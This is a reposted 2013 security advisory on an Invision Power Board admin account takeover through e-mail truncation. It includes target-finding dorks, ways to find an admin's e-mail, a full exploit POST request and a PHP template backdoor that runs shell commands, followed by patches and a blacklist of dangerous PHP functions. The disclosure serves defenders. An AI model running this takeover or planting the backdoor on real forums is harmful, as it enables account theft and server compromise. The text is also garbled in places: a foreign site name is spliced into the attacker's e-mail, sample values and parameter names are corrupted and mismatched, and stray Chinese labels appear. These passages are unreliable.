IPB (Invision Power Board) all versions (1.x? / 2.x / 3.x) Admin account Takeover leading to code execution

  

  Author: John JEAN (@johnjean on twitter)

  Influence program: Invision Power Board <= 3.4.4   缺陷类型: Logical Vulnerability / Bad Sanitization   解决方案 : A patch has been released which fixes these vulnerabilities   References : http://www.john-jean.com/blog/securite-informatique/ipb-invision-power-board-all-versions-1-x-2-x-3-x-admin-account-takeover-leading-to-code-execution-742   [0] Application description & Deployment estimation   From wikipedia.org:   Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet forum software produced by Invision Power Services, Inc. It is written in PHP and primarily uses MySQL as a database management system, although support for other database engines is available. While Invision Power Board is a commercially sold product, there is a large modding community and many of these modifications are free. In addition, many groups offer the download or design of free and paid skins.   ----   This software is deployed on very popular websites such as: NASA, EMI, NHL, NBC, O'Reilly, Evernote, ...   You can easily find tens of thousands of deployed instances using Google dorks such as: "inurl:index.php?app=core" or "powered by Invision Power Board".   [I] Logic Flaw   A) 概述   IPB harbors a sanitization flaw in its registration form and user control panel (accessible once logged in). Incorrect e-mail address validation code allows an attacker to take over the admin account without prompting any alert but preventing the real admin to login afterwards. After a successful takeover, the attacker can plant a PHP backdoor using IPB's templating system. Thorough administrators will inspect total file system after they recover their hacked account, while other administrators might assume they are dealing with a bug, receive their new password using "Password recovery" system and leave the backdoor intact. Attacker may also use the "Retrieve password" process to mislead the admin into thinking their account was locked due to unsuccessful login attempts and not investigating further, thus preserving the backdoor.   B) Required data   1) Administrator's login name   The admin login is easily found by clicking on "The moderating Team" link on recent IPB's footer, or using the URL below: index.php?app=forums&module=extras§ion=stats&do=leaders   2) Administrator's e-mail   Obtaining the admin e-mail may be more complicated as there is no automated way to get it. The attacker can get it through:   - using whois on domain.tld to get registrar informations   - looking up a prospective e-mail on Facebook and see if a matching profile shows up   - using Gravatar (Gravatar is a personal avatar you can find on most blogs, forum, etc comments based on user e-mail address). Attacker can create a script to retrieve an email based on an avatar. For example mine is: http://www.john-jean.com/gravapwnd.php?zboob=john@wargan.com   - do sourcing using FB, G+, Twitter, Google SERP, ...   - use SE methods, such as faked e-mail catcher; or use XSSs on known websites consulted by the target.   C) Explanation   This vulnerability is grounded on both a mistake in MySQL knowledge and bad sanitization of the $email variable.   1) First of all, let's summarize how MySQL works:   - Truncating while INSERT   During an INSERT query, if the string exceeds the field size defined when creating the table, the string will be truncated. E.g.:   ************************ BEGIN OF CODE ************************   CREATE TABLE `test` (   `limitvarchar` varchar(5) NOT NULL   );   ---   INSERT INTO `test` (`limitvarchar`) VALUES ('123456789');   ---   SELECT * FROM `test`   > one two three four five

  ************************* END OF CODE ***************************

  However, the string is not truncated during SELECT queries. The following query will not return any result:

  ************************ BEGIN OF CODE ************************

  SELECT * FROM `test` WHERE `limitvarchar` = "123456"

  ************************* END OF CODE ***************************

  MySQL use permissive SELECT:

  SELECT ignores spaces at the end of strings. Let’s INSERT some datas:

  ************************ BEGIN OF CODE ************************

  INSERT INTO `divers`.`test` (`limitvarchar`) VALUES (‘1 ‘);

  INSERT INTO `divers`.`test` (`limitvarchar`) VALUES (‘1 ‘);

  INSERT INTO `divers`.`test` (`limitvarchar`) VALUES (‘1 ‘);

  INSERT INTO `divers`.`test` (`limitvarchar`) VALUES (‘1 ‘);

  INSERT INTO `divers`.`test` (`limitvarchar`) VALUES (‘1’);

  ************************* END OF CODE ***************************

  Thus the following query will yield the 5 records inserted before:

  ************************ BEGIN OF CODE ************************

  SELECT * FROM `test` WHERE limitvarchar=’1 ‘

  ************************* END OF CODE ***************************

  Now, let’s have a look at the checkEmailAddress function of admin/source/base/core.php:

  ************************ BEGIN OF CODE ************************

  /**

  * Check email address to see if it seems valid

  *

  * @param string Email address

  * @return boolean

  * @since 2.0

  */

  static public function checkEmailAddress( $email = "" )

  {

  $email = trim($email);

  $email = str_replace( " ", "", $email );

  //—————————————–

  // Check for more than 1 @ symbol

  //—————————————–

  if ( substr_count( $email, ‘@’ ) > 1 )

  {

  return FALSE;

  }

  if ( preg_match( ‘#[; #

  *’"<>&%! (){}[]? /s,]#’, $email ) )

  {

  return FALSE;

  }

  /* tld increased to 32 characters as per RFC – http://community.invisionpower.com/resources/bugs.html/_/ip-board/ipstextcheckemailaddress-does-not-match-new-2013-tlds-r41518*/

  else if ( preg_match( ‘/^.+@([? )[a-zA-Z0-9-.]+.([a-zA-Z]{2,32}|[0-9]{1,4})(]? )$/’, $email) )

  {

  return TRUE;

  }

  else

  {

  return FALSE;

  }

  }

  ************************* END OF CODE ***************************

  As you may know, trim only removes whitespace (and some others) characters BEFORE and AFTER the string, that is why IPB core team also use str_replace to remove space chars IN the email string. However, this treatment is performed to change the email address to the correct format. This is done to ensure the next steps of the check, but there will be no condition returning false if string has been trim or if str_replace has been used. This function checks an email validity format u sed in the register form and the change email form.

  Let’s take a look at a another function called load( $member_key, $extra_tables=’all’, $key_type=” ) in admin/sources/base/ipsMember.php

  ************************ BEGIN OF CODE ************************

  static public function load( $member_key, $extra_tables=’all’, $key_type=” )

  {

  //—————————————–

  // INIT

  //—————————————–

  $member_value = 0;

  $members = array();

  $multiple_ids = array();

  $member_field = ”;

  $joins = array();

  $tables = array( ‘pfields_content’ => 0, ‘profile_portal’ => 0, ‘groups’ => 0, ‘sessions’ => 0, ‘members_partial’ => 0 );

  $remap = array( ‘extendedProfile’ => ‘profile_portal’,

  ’customFields’ => ‘pfields_content’);

  //—————————————–

  // ID or email?

  //—————————————–

  if ( ! $key_type )

  {

  if ( is_array( $member_key ) )

  {

  $multiple_ids = array_map( ‘intval’, $member_key ); // Bug #20908

  $member_field = ‘member_id’;

  }

  else

  {

  if ( strstr( $member_key, ‘@’ ) )

  {

  $member_value = "’" . ipsRegistry::DB()->addSlashes( strtolower( $member_key ) ) . "’";

  $member_field = ’email’;

  }

  else

  {

  $member_value = intval( $member_key );

  $member_field = ‘member_id’;

  }

  }

  }

  […]

  case ’email’:

  if ( is_array( $member_key ) )

  {

  array_walk( $member_key, create_function( ‘&$v,$k’, ‘$v="’".ipsRegistry::DB()->addSlashes( strtolower( $v ) ) . "’";’ ) );

  $multiple_ids = $member_key;

  }

  else

  {

  $member_value = "’" . ipsRegistry::DB()->addSlashes( strtolower( $member_key ) ) . "’";

  }

  $member_field = ’email’;

  ************************* END OF CODE ***************************

  As you can see, this function does not perform any verification on the length of $member_key & $v. We will exploit that in the next part.

  D) Exploitation

  Previously, on this adviso: we saw that $email is not rejected if it contains spurious whitespace, and that $member_key & $v length is not checked. We also saw some MySQL use-cases. Let’s see how we can exploit that:

  The e-mail field from the `members` table in IPB is declared as a varchar(150).

  Upon registration, we fill the mail member (or admin) for which we want to steal the account to which we add a padding space for the size of the string exceeds 150. Then we add any character after the spa ce one. It is necessary to bypass ajax’s validator, feel free to use Burp Suite or Tamperdata.

  For example:

  Real administrator’s email: ‘admin@admin.com’

  Attacker’s mail fill: ‘admin@admin.com AAAA’ <- ends here   The SELECT query checking existing e-mails will not yield any result:   SELECT * FROM members WHERE email='admin@admin.com AAAA' <- ends here   The new account is successfully created. Our account is now using the e-mail address below:   'admin@admin.com ' <- ends here   AAAA has been deleted by MySQL: string exceeding 150 characters are truncated.   At this stage, we have two users with very similar e-mail addresses:   Administrator is: 'admin@admin.com'   Attacker is: 'admin@ www.2cto.com   ' <- ends here   POST HTTP request looks like (on registration page):   ************************ BEGIN OF CODE ************************   POST /~codereview/IPB/index.php?app=core&module=global§ion=register HTTP/1.1   Host: gfy.wargan.com   User-Agent: Wargan/1.0 (WarganOS; Amstrad; rv:1.0)   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3   Accept-Encoding: gzip, deflate   Referer: http://gfx.wargan.com/~codereview/IPB/index.php?app=core&module=global§ion=register   Cookie: session_id=00000000000; member_id=2; pass_hash=000000000000; ipsconnect_0000000000=1; coppa=0; rteStatus=rte   Connection: keep-alive   Content-Type: application/x-www-form-urlencoded   Content-Length: 466   termsread=1&agree_to_terms=1&do=process_form&coppa_user=0&nexus_pass=1&time_offset=1&dst=1&members_display_name=pentest&EmailAddress=pentest%40wargan.com A&PassWord=pentest&PassWord_Check=pentest&recaptcha_challenge_field=03AHJ_VuvGN728OMAVD0UvgLdylK1KAt8WH0N2aezZZpZfluTG8wJmfSyhiKM0zYb7io5sk62SQ9fQ2Y1XKqPOmEG0hW9DrThpXgEh-DU73qdpZ_OPxkO_v1xg2k1dJSOCk0wZcxufezfezefezFM0LSCwjJn7bbJJMk&recaptcha_response_field=mmotlyiinducted&agree_tos=1   ************************* END OF CODE ***************************   We now can change our password. The profile corresponding to our session's e-mail will be used. As already stated, spaces are not taken in consideration. The query will thus actually return the first matching e-mail result: the real administrator account. We will have actually changed the password of the administrator profile.   This flaw is usable both on the registration page and on the user control panel (index.php?app=core&module=usercp&tab=core&area=email).   E) Backdooring   Once the attacker has got access to the administrator's backend, all he needs to do is go to /admin/index.php?adsess=000&app=core&module=templates§ion=templates&do=list&setID=1 and add some code to the defaultHeader template:   ************************ BEGIN OF CODE ************************   

  if(isset($_REQUEST[‘pwnd’]))

  {

  $pwnd=$_REQUEST[‘pwnd’];

  echo `$pwnd`;

  }

  

  ************************* END OF CODE ***************************

   & markups are used by the IPB’s templating system to add inline PHP code. “ characters in PHP are used to do system calls.

  Once such a backdoor has been planted, any part of public_html can be compromised and it may also lead to privilege escalation on a dedicated server or LAN.

  index.php?lolz=ls%20/

  returns:

  bin boot build dev etc home initrd.img initrd.img.old lib lost+found media mnt nonexistent opt proc root run sbin selinux srv sys tmp usr var vmlinuz vmlinuz.old

  [II] Mitigation

  A) Patch party !

  These are two quick & dirty patches, but they work.

  admin/source/base/core.php should be:

  ************************ BEGIN OF CODE ************************

  /**

  * Check email address to see if it seems valid

  *

  * @param string Email address

  * @return boolean

  * @since 2.0

  */

  static public function checkEmailAddress( $email = “” )

  {

  if (strlen($email) > 150) return FALSE;

  email = trim($email);

  $email = str_replace( " ", "", $email );

  //—————————————–

  // Check for more than 1 @ symbol

  //—————————————–

  if ( substr_count( $email, ‘@’ ) > 1 )

  {

  return FALSE;

  }

  if ( preg_match( ‘#[; #

  *’"<>&%! (){}[]? /s,]#’, $email ) )

  {

  return FALSE;

  }

  /* tld increased to 32 characters as per RFC – http://community.invisionpower.com/resources/bugs.html/_/ip-board/ipstextcheckemailaddress-does-not-match-new-2013-tlds-r41518*/

  else if ( preg_match( ‘/^.+@([? )[a-zA-Z0-9-.]+.([a-zA-Z]{2,32}|[0-9]{1,4})(]? )$/’, $email) )

  {

  return TRUE;

  }

  else

  {

  return FALSE;

  }

  }

  ************************* END OF CODE ***************************

  Enforces the e-mail variable to be shorter than 150 characters.

  admin/source/base/ipsMember.php should be:

  ************************ BEGIN OF CODE ************************

  if ( strstr( $member_key, ‘@’ ) )

  {

  $member_value = "’" . ipsRegistry::DB()->addSlashes( strtolower( substr($member_key,0,140) ) ) . "’";

  $member_field = ’email’;

  }

  […]

  if ( is_array( $member_key ) )

  {

  array_walk( $member_key, create_function( ‘&$v,$k’, ‘$v="’".ipsRegistry::DB()->addSlashes( strtolower( substr($v,0,140) ) ) . "’";’ ) );

  $multiple_ids = $member_key;

  }

  else

  {

  $member_value = "’" . ipsRegistry::DB()->addSlashes( strtolower( substr($member_key,0,140) ) ) . "’";

  }

  $member_field = ’email’;

  ************************* END OF CODE ***************************

  This will truncate the string to 140 characters.

  Patching 1st or 2nd file fixes the bug.

  B) Common sense

  - Never use a known email-adress for your application deployment, monitoring, supervision, … You may use catch-all, or even better, another domain.tld than your own.

  - Never deploy applications you do not completely trust (no one ? ) or you did not code review on shared hosting with other projects or applications that are not on that same network. Especially forums that expose a wide attack surface to malicious users.

  - Use mitigation systems such as IDS (which can be evaded depending on your attacker skills).

  - Blacklist dangerous php functions (using http://www.hardened-php.net/suhosin/configuration.html#suhosin.executor.func.blacklist ? )

  php_admin_value open_basedir /home/ipb/:/usr/share/php/

  php_admin_value suhosin.executor.func.blacklist exec,dl,fpassthru,move_uploaded_file,phpinfo,passthru,shell_exec,system,proc_open,popen,curl,curl_exec,curl_multi_exec,parse_ini_file,show_source, …

  - Use a chrooted environment

  - …

  [III] Recommendations

  The vendor has released a patch which fixes these vulnerabilities. It is strongly recommended to upgrade your software version: http:// community.invisionpower.com/topic/385207-ipboard-32x-33x-and-34x-critical-security-update/

  [IV] Timeline

  2013/05/02: Advisory sent to IPB

  2013/05/02: IPB responded

  2013/05/03: Patch has been released

  2013/05/03: IPB asked to wait at least a week before publishing advisory to protect their huge community

  2013/05/13: Advisory is released

  [V] Author

  John JEAN is a French security researcher working at Wargan Solutions – http://www.wargan.com

  Follow him on twitter @johnjean

  [VI] PGP

  —–BEGIN PGP PUBLIC KEY BLOCK—–

  Version: GnuPG v1.4.9 (GNU/Linux)

  mQGiBEo1REYRBADDGgkQVv+iN+LzRFH3WiDX+S0iTPg60MzTifYpfbeKH+FwdN/J

  /lujfR3TjielPEWVbYCnPJA/wHNNUACm6+qWoPx5SzjKq1BXMoGoUkO5DtXivboG

  NugVyKOBh7OARWilOkP6eB2zqbf/2ReHQtbX8a7xWyHzApyIAo/F2CiYOwCg7SyD

  UQifs08r8Um3pmyLMxTVjncD/1BrpfSWgYJYFLPobHuRvtoEyhK9ONuNWgQKYHQm

  mpoM6nxNVijySPpgyuyeDcyxgOzLJ3QI9Mqx+tmr1uLFZhAWSe0K5uz64pQ9PUMF

  LTvN5uN3sVAER4kA1Jxs5foTIkrCA6eQqmypIfo/egX1W1Y/1uC0aB0/kG11rQO0

  fgUwA/4qubdS0PcnPZUQYVJUe6rDx5r2U/WVD+sHFY+ILFnVzdrxEdr1md35e9P5

  ovuMfUunIwKH8BjSG3fXXESTZuZXfFlqwrR+m1y5qUcXwr9wnffRP2iQxIaQi5+b

  D4dR1J+oiNlPlVL8FuKK1dKHjIN9u4tjlE/VWCxoUyo97320z7QtSm9obiBKRUFO

  IChHZWVrIFdvcmthaG9saWMpIDxKb2huQHdhcmdhbi5jb20+iGAEExECACAFAko1

  REYCGwMGCwkIBwMCBBUCCAMEFgIDAQIeAQIXgAAKCRBthXHBmOb+lvYJAJ9k30a7

  lZx92PXQfNeoKocX5Uo3vACgtWuhqkDB1IvRMjMe49ng18Sp87y5Ag0ESjVERhAI

  AM0fzE0z5enz37lGPPHZrgW+XYWHNLfoR0gJvpu0FkPj4udPYL6+RJLGocWeJQBb

  UuEgcFdKJugxs3U9y/5iSFfM3e5+jOqPZCj6loP8nY9yarfVQHlZKqn6zseCT3D8

  d1uTNJWnzb5LYnbFrETCyJbaENH8jzNQCGP3NCyIfXfn5Wag7HUh6Zi6njwl/2zx

  saizuQ3Wv0PjiVuJ8QEPvOdN9crTwt/JB2xRd98st7S5oEHvP96MyOtWSUWEnLSG

  fQhVyZC+aLLCOp8ggNkCAwOUGvPetJXVOLaPUJAoEwzDxXl43+GlKreqXH+W2GZT

  0/n8W4p28Xrqv2G/SJa9sg8AAwUH/0GvW9eYRLaRDuAaBdlGX8jXsCnOvdMoioeg

  Wq9HwIYr94/kW2wJ1QFnhuEU/0cwx9MVrMElW0Q14kyY3KVUWAVpUTbfUPmtD6lo

  RO3EnoHDJoaak0yuw67Townpc9zRIBci3vUcUTh9SwUtv16b96DI92BRRu8XBaRU

  13E33BWUkf6DebpYHmCmlwy3NelHfOtbzc2FBJ7Xt+hQnxd+07V2NgUNjMpCQrMD

  oh8ulOLWvrGKm7SZhV0ubqTt85mM6j5tmw0dkMwsGhgnf0U12uMfEKxm3IjcU+uk

  0757WvPQQcr/iFSjxXwroqIgZpSJ/L1c8cfXgZ5bf0syeFODxEGISQQYEQIACQUC

  SjVERgIbDAAKCRBthXHBmOb+loxrAKDUB6CWC+kYIOaRmD9IvVfKosm9wgCeN4XV

  3vIlH84xsRZ/rS/yfwggdDc=

  =jCPh

  —–END PGP PUBLIC KEY BLOCK—–


Posted

in

by

Tags: